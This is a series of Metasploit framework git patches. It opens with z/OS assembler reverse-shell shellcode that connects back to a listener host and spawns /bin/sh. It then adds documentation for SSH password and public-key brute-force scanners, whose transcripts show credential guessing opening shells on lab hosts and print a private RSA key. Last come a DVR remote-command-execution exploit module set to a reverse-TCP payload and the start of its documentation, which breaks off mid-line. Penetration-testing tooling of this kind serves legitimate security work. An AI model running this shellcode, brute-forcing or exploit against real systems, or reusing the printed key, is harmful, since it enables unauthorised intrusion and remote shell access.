"@FIX AHI 5,4 # need extra byte skipped for exec\n" \ - " BRC 15,@RETX\n" \ - "\n" \ - "***********************************************************************\n" \ - "* Arg Arrays, Constants and Save Area *\n" \ - "***********************************************************************\n" \ - " DS 0F\n" \ - "*************************\n" \ - "**** Func Names ****\n" \ - "*************************\n" \ - "@@F1 DC CL8'BPX1SOC '\n" \ - "@@F2 DC CL8'BPX1CON '\n" \ - "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \ - "@@FC1 DC CL8'BPX1FCT '\n" \ - "* # BPX1EXC Constants\n" \ - "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ - "* # BPX1CON Constants\n" \ - "SSTR DC X'100202#{lport}#{lhost}'\n" \ - "* # BPX1EXC Arguments\n" \ - "EXCPRM1 DS 0F # actual parm list of exec call\n" \ - "EXCMDL DC F'7' # len of cmd to exec\n" \ - "EXCMD DC CL7'/bin/sh' # command to exec\n" \ - "*********************************************************************\n" \ - "******* Below this line is filled in runtime, but at compile ********\n" \ - "******* is all zeroes, so it can be dropped from the shell- *********\n" \ - "******* code as it will be dynamically added back and the ***********\n" \ - "******* offsets are already calulated in the code *******************\n" \ - "*********************************************************************\n" \ - "ZEROES DS 0F # 51 4 byte slots\n" \ - "EXARGC DC F'0' # num of arguments\n" \ - "EXARGS DC 10XL4'00000000' # reminaing exec args\n" \ - "EXARG1L DC F'0' # arg1 length\n" \ - "* # BPX1FCT Arguments\n" \ - "@FFD DC F'0' # file descriptor\n" \ - "@ACT DC F'0' # fnctl action\n" \ - "@ARG DC F'0' # argument to fnctl\n" \ - "@RETFD DC F'0' # fd return\n" \ - "FR1 DC F'0' # rtn code\n" \ - "FR2 DC F'0' # rsn code\n" \ - "* # BPX1SOC Arguments\n" \ - "DOM DC F'0' # AF_INET = 2\n" \ - "TYPE DC F'0' # sock stream = 1\n" \ - "PROTO DC F'0' # protocol ip = 0\n" \ - "DIM DC F'0' # dim_sock = 1\n" \ - "CLIFD DC F'0' # client file descriptor\n" \ - "SR1 DC F'0' # rtn val\n" \ - "SR2 DC F'0' # rtn code\n" \ - "SR3 DC F'0' # rsn code\n" \ - "* # BPX1CON Arguments\n" \ - "CLIFD2 DC F'0' # CLIFD\n" \ - "SOCKLEN DC F'0' # length of Sock Struct\n" \ - "SRVSKT DC XL2'0000' # srv socket struct\n" \ - " DC XL2'0000' # port\n" \ - " DC XL4'00000000' # RHOST 0.0.0.0\n" \ - "CR1 DC F'0' # rtn val\n" \ - "CR2 DC F'0' # rtn code\n" \ - "CR3 DC F'0' # rsn code\n" \ - "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \ - "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \ - " END MAIN\n" \ - "ZZ\n" \ - "//*\n" + "**********************\n" \ + "* *\n" \ + "* Constant Sections *\n" \ + "* *\n" \ + "**********************\n" \ + " DS 0F # constants full word boundary\n" \ + "F_STDI EQU 0\n" \ + "F_STDO EQU 1\n" \ + "F_STDE EQU 2\n" \ + "*************************\n" \ + "* Socket conn variables * # functions used by pgm\n" \ + "*************************\n" \ + "CONNSOCK DC XL2'#{lport}' # LPORT\n" \ + "CONNADDR DC XL4'#{lhost}' # LHOST\n" \ + "BACKLOG DC F'1' # 1 byte backlog\n" \ + "DOM DC A(AF_INET) # AF_INET = 2\n" \ + "TYPE DC A(SOCK#_STREAM) # stream = 1\n" \ + "PROTO DC A(IPPROTO_IP) # ip = 0\n" \ + "DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \ + "SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \ + "************************\n" \ + "* BPX1SPN vars *********\n" \ + "************************\n" \ + "EXCMD DC CL7'/bin/sh' # command to exec\n" \ + "EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \ + "EXARGC DC F'1' # num of arguments\n" \ + "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ + "EXARG1L DC A(L'EXARG1) # len of arg1\n" \ + "EXARGL DC A(EXARG1) # addr of argument list\n" \ + "EXARGLL DC A(EXARG1L) # addr of arg len list\n" \ + "EXENVC DC F'0' # env var count\n" \ + "EXENVL DC F'0' # env var arg list addr\n" \ + "EXENVLL DC F'0' # env var arg len addr\n" \ + "EXITRA DC F'0' # exit routine addr\n" \ + "EXITPLA DC F'0' # exit rout parm list addr\n" \ + "FDCNT DC F'0' # field count s/b 0\n" \ + "FDLST DC F'0' # field list addr s/b 0\n" \ + "MYLEN DC F'0'\n" \ + "TVER DC AL2(INHE#VER)\n" \ + "TLEN DC AL2(INHE#LENGTH)\n" \ + " SPACE ,\n" \ + "@DYNSIZE DC A(@ENDYN-@DATA)\n" \ + "***************************\n" \ + "***** end of constants ****\n" \ + "***************************\n" \ + "@DATA DSECT ,\n" \ + " DS 0D\n" \ + "PLIST DS 16A\n" \ + "RTN_VAL DS F # return value\n" \ + "RTN_COD DS F # return code\n" \ + "RSN_COD DS F # reason code\n" \ + "CLIFD DS F # client fd\n" \ + "*********************\n" \ + "* Return value vars *\n" \ + "*********************\n" \ + "@SAVE00 DS 0D\n" \ + " DS A\n" \ + "@BACK DS A\n" \ + "@FORWARD DS A\n" \ + " DS 15A\n" \ + "@INHEA DS A\n" \ + "*\n" \ + " BPXYSOCK LIST=NO,DSECT=NO\n" \ + " BPXYFCTL LIST=NO,DSECT=NO\n" \ + " BPXYINHE LIST=NO,DSECT=NO\n" \ + "@ENDYN EQU *\n" \ + "@DATA#LEN EQU *-@DATA\n" \ + " BPXYCONS LIST=YES\n" \ + " END SPAWNREV\n" \ + "ZZ\n" \ + "//*\n" end end From aee67077132a59e4f79bca831b1d9365f73e615e Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Wed, 22 Feb 2017 22:13:07 -0500 Subject: [PATCH 225/426] ssh_login docs --- .../auxiliary/scanner/ssh/ssh_login.md | 193 ++++++++++++++++++ .../auxiliary/scanner/ssh/ssh_login_pubkey.md | 135 ++++++++++++ 2 files changed, 328 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/ssh/ssh_login.md create mode 100644 documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md new file mode 100644 index 0000000000..fb73d0ab3b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md @@ -0,0 +1,193 @@ +## SSH Service + + SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. + This module attempts to login to SSH with username and password combinations. For public/private SSH keys, please use `auxiliary/scanner/ssh/ssh_login_pubkey`. + It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login. + +## Verification Steps + + 1. Install SSH and start it. + 2. Start msfconsole + 3. Do: ` use auxiliary/scanner/ssh/ssh_login` + 4. Do: `set rhosts` + 5. Do: set usernames and passwords via any of the available options + 5. Do: `run` + 6. You will hopefully see something similar to: `[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '`, and a shell opened. + +## Options + + **BLANK_PASSWORD** + + Boolean value on if an additional login attempt should be attempted with an empty password for every user. + + **PASSWORD** + + Password to try for each user. + + **PASS_FILE** + + A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst` + + **RHOSTS** + + Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2` + + **STOP_ON_SUCCESS** + + If a valid login is found on a host, immediately stop attempting additional logins on that host. + + **USERNAME** + + Username to try for each password. + + **USERPASS_FILE** + + A file containing a username and password, separated by a space, on every line. An example line would be `username password` + + **USER_AS_PASS** + + Boolean value on if an additional login attempt should be attempted with the password as the username. + + **USER_FILE** + + A file containing a username on every line. + + **VERBOSE** + + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following: `[-] SSH - Failed: 'msfadmin:virtual'` + +## Option Combinations + +It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or `BLANK_PASSWORDS`. +This module makes a combination of all of the above when attempting logins. So if a password is set in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these. + +## Scenarios + + Example run against: + * Ubuntu 14.04 Server with root login permitted: 192.168.2.156 + * Ubuntu 16.04 Server: 192.168.2.137 + * Metasploitable: 192.168.2.46 + * Metasploitable 2: 192.168.2.35 + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > cat /root/ssh_passwords.lst +[*] exec: cat /root/ssh_passwords.lst + +msfadmin +badpassword +root +ubuntu + +msf auxiliary(ssh_login) > set pass_file /root/ssh_passwords.lst +pass_file => /root/ssh_passwords.lst +msf auxiliary(ssh_login) > cat /root/ssh_un.lst +[*] exec: cat /root/ssh_un.lst + +msfadmin +badpassword +root +ubuntu + +msf auxiliary(ssh_login) > set user_file /root/ssh_un.lst +user_file => /root/ssh_un.lst +msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst +[*] exec: cat /root/ssh_hosts.lst + +192.168.2.156 +192.168.2.137 +192.168.2.35 +192.168.2.46 +msf auxiliary(ssh_login) > set rhosts file://root/ssh_hosts.lst +rhosts => file://root/ssh_hosts.lst +msf auxiliary(ssh_login) > set verbose false +verbose => false +msf auxiliary(ssh_login) > set threads 4 +threads => 4 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' +[*] Command shell session 5 opened (192.168.2.117:44415 -> 192.168.2.46:22) at 2017-02-22 20:26:13 -0500 +[*] Command shell session 6 opened (192.168.2.117:36107 -> 192.168.2.35:22) at 2017-02-22 20:26:13 -0500 +[+] SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 7 opened (192.168.2.117:32829 -> 192.168.2.156:22) at 2017-02-22 20:26:35 -0500 +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 8 opened (192.168.2.117:42205 -> 192.168.2.156:22) at 2017-02-22 20:26:42 -0500 +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 9 opened (192.168.2.117:37027 -> 192.168.2.137:22) at 2017-02-22 20:26:44 -0500 +[*] Scanned 3 of 4 hosts (75% complete) +[*] Scanned 4 of 4 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 5 shell /linux SSH msfadmin:msfadmin (192.168.2.46:22) 192.168.2.117:44415 -> 192.168.2.46:22 (192.168.2.46) + 6 shell /linux SSH msfadmin:msfadmin (192.168.2.35:22) 192.168.2.117:36107 -> 192.168.2.35:22 (192.168.2.35) + 7 shell /linux SSH root:ubuntu (192.168.2.156:22) 192.168.2.117:32829 -> 192.168.2.156:22 (192.168.2.156) + 8 shell /linux SSH ubuntu:ubuntu (192.168.2.156:22) 192.168.2.117:42205 -> 192.168.2.156:22 (192.168.2.156) + 9 shell /linux SSH ubuntu:ubuntu (192.168.2.137:22) 192.168.2.117:37027 -> 192.168.2.137:22 (192.168.2.137) +``` + + Example run against: + * Windows 10 w/ Linux Subsystem + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 +rhosts => 192.168.2.140 +msf auxiliary(ssh_login) > set username winuser +username => winuser +msf auxiliary(ssh_login) > set password "badpassword" +password => badpassword +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'winuser:badpassword' '' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (192.168.2.117:42227 -> 192.168.2.140:22) at 2017-02-22 20:40:12 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 shell / SSH winuser:badpassword (192.168.2.140:22) 192.168.2.117:42227 -> 192.168.2.140:22 (192.168.2.140) + +``` + + Example run against: + * Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created + + It is important to note here that the module gives back a **Success**, but then errors when trying to identify the remote system. + This should be enough info to manually exploit via a regular SSH command. + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 +rhosts => 192.168.2.140 +msf auxiliary(ssh_login) > set username virtual +username => virtual +msf auxiliary(ssh_login) > set password virtual +password => virtual +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'virtual:virtual' 'id: Command not found. help ?: Command not found. ' +[!] No active DB -- Credential data will not be saved! +[*] 192.168.2.140 - Command shell session 4 closed. Reason: Died from EOFError +[*] Command shell session 4 opened (192.168.2.117:36169 -> 192.168.2.140:22) at 2017-02-22 21:20:24 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md new file mode 100644 index 0000000000..669232fb76 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md @@ -0,0 +1,135 @@ +## SSH Service + + SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. + This module attempts to login to SSH with username and private key combinations. For username and password logins, please use `auxiliary/scanner/ssh/ssh_login`. + It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login. + +### Key Generation + + On most modern *nix Operating System, the `ssh-keygen` command can be utilized to create an SSH key. Metasploit expects the key to be unencrypted, so no password should be set during `ssh-keygen`. + After following the prompts to create the SSH key pair, the `pub` key needs to be added to the authorized_keys list. To do so simply run: `cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys` + +## Verification Steps + + 1. Install SSH and start it. + 2. Create an SSH keypair and add the public key to the `authorized_keys` file + 3. Start msfconsole + 4. Do: ` use auxiliary/scanner/ssh/ssh_login_pubkey` + 5. Do: `set rhosts` + 6. Do: set usernames with one of the available options + 7. Do: `set KEY_PATH ` to either a file or path + 7. Do: `run` + 8. You will hopefully see something similar to: `[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY-----`, and a shell opened. + +## Options + + **KEY_PATH** + + A string to the private key to attempt, or a folder containing private keys to attempt. Any file name starting with a period (`.`) or ending in `.pub` will be ignored. + An SSH key is typically kept in a user's home directory under `.ssh/id_rsa`. The file contents, when not encrypted with a password will start with `-----BEGIN RSA PRIVATE KEY-----` + + **RHOSTS** + + Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2` + + **STOP_ON_SUCCESS** + + If a valid login is found on a host, immediately stop attempting additional logins on that host. + + **USERNAME** + + Username to try for each password. + + **USER_FILE** + + A file containing a username on every line. + + **VERBOSE** + + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `KEY_PATH`s are used. A failed attempt will look similar to the following: `[-] SSH - Failed` + +## Option Combinations + +It is important to note that usernames can be entered in multiple combinations. For instance, a username could be set in `USERNAME`, and be part of `USER_FILE`. +This module makes a combination of all of the above when attempting logins. So if a username is set in `USERNAME`, and a `USER_FILE` is listed, usernames will be generated from BOTH of these. + +## Scenarios + + Example run with a FOLDER set for `KEY_PATH` against: + * Ubuntu 14.04 Server + +``` +msf > use auxiliary/scanner/ssh/ssh_login_pubkey +msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(ssh_login_pubkey) > set username ubuntu +username => ubuntu +msf auxiliary(ssh_login_pubkey) > set key_path /root/sshkeys/ +key_path => /root/sshkeys/ +msf auxiliary(ssh_login_pubkey) > run + +[*] 192.168.2.156:22 SSH - Testing Cleartext Keys +[*] SSH - Testing 2 keys from /root/sshkeys +[-] SSH - Failed: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +aAz8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq +O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE +Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- + +' +[!] No active DB -- Credential data will not be saved! +[+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +0Az8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq +O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE +Qn/wk9KygdetJ7pUDL8pNFsn9M9hT1Ck+tkdq2ipb5ptn9v2wgJiBynB4qmBP1Oc +jyQua+cCgYEAl77hJQK97tdJ5TuOXSsdpW8IMvbiaWTgvZtKVJev31lWgJ+knpCf +AaZna5YokhaNvfGGbO5N8YoYShIpGdvWI+dIT8xYvPkJmYdnTz7/dmBUcwLtNVx/ +7PI/l5XrFMRsnu/CYuBPuWB+RCTLjIr1D1RluNbIb7xr+kDHuzgInvA= +-----END RSA PRIVATE KEY----- + +' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 1 opened (192.168.2.117:44179 -> 192.168.2.156:22) at 2017-02-22 22:08:11 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` \ No newline at end of file From 6a7dab0b1c1a3956cb605fd81379cca10da8ab90 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Wed, 22 Feb 2017 22:15:05 -0500 Subject: [PATCH 226/426] add key explain line --- documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md index 669232fb76..02f61850f3 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md @@ -58,6 +58,8 @@ This module makes a combination of all of the above when attempting logins. So Example run with a FOLDER set for `KEY_PATH` against: * Ubuntu 14.04 Server + While the two SSH key are nearly identical, one character has been modified in one of the keys to prevent a successful login. + ``` msf > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.156 From 5d3a4cce67e19a4661705f5a59869522f8826722 Mon Sep 17 00:00:00 2001 From: Brendan Coles <bcoles@gmail.com> Date: Thu, 23 Feb 2017 16:30:01 +1100 Subject: [PATCH 227/426] Use all caps for module option names --- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 13dc116829..44154f54df 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -45,8 +45,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { - 'Payload' => 'linux/armle/mettle_reverse_tcp', - 'cmdstager::flavor' => 'wget' + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'wget' }, 'Targets' => [ From bf47ac2fa9eeb8b05c8c68c89576faf748b2f614 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 22 Feb 2017 23:43:54 -0600 Subject: [PATCH 228/426] chmod -x a couple module docs Hat tip @bcoles. --- .../modules/exploit/multi/fileformat/swagger_param_inject.md | 0 .../modules/post/windows/manage/mssql_local_auth_bypass.md | 0 2 files changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 documentation/modules/exploit/multi/fileformat/swagger_param_inject.md mode change 100755 => 100644 documentation/modules/post/windows/manage/mssql_local_auth_bypass.md diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md old mode 100755 new mode 100644 diff --git a/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md b/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md old mode 100755 new mode 100644 From c9e09491dd6bf435029412c8fc302cf4ba9d9100 Mon Sep 17 00:00:00 2001 From: Brendan Coles <bcoles@gmail.com> Date: Thu, 23 Feb 2017 07:44:45 +0000 Subject: [PATCH 229/426] Add documentation --- .../linux/http/mvpower_dvr_shell_exec.md | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md diff --git a/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md b/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md new file mode 100644 index 0000000000..4f9e8ed681 --- /dev/null +++ b/documentation/modules/exploit/linux/http/mvpower_dvr_shell_exec.md @@ -0,0 +1,43 @@ +## Vulnerable Application + + This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string. + + This module was tested successfully on a MVPower model TV-7104HE with firmware version 1.8.4 115215B9 (Build 2014/11/17). + + The TV-7108HE model is also reportedly affected, but untested. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/http/mvpower_dvr_shell_exec` + 3. Do: `set rhost [IP]` + 4. Do: `set lhost [IP]` + 5. Do: `run` + 6. You should get a session + + +## Example Run + + + ``` + msf exploit(mvpower_dvr_shell_exec) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] 10.1.1.191:80 - Connecting to 